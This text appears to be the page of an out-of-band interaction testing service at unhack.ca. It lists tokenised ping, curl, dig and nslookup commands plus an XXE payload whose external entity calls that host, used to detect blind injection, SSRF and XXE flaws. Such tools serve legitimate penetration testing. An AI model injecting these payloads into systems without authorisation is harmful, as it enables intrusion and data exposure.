$ ping -c1 -p 00e9055725801e4edd0ed7a0ad01a100 unhack.ca
 
$ curl http://unhack.ca/p/e9055725801e4edd0ed7a0ad01a1
 
$ dig e9055725801e4edd0ed7a0ad01a1 @unhack.ca
 
$ dig e9055725801e4edd0ed7a0ad01a1.ns.unhack.ca
 
C:\> nslookup e9055725801e4edd0ed7a0ad01a1 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e9055725801e4edd0ed7a0ad01a1">]>
    <foo>&xxe;</foo>
Waiting for ping...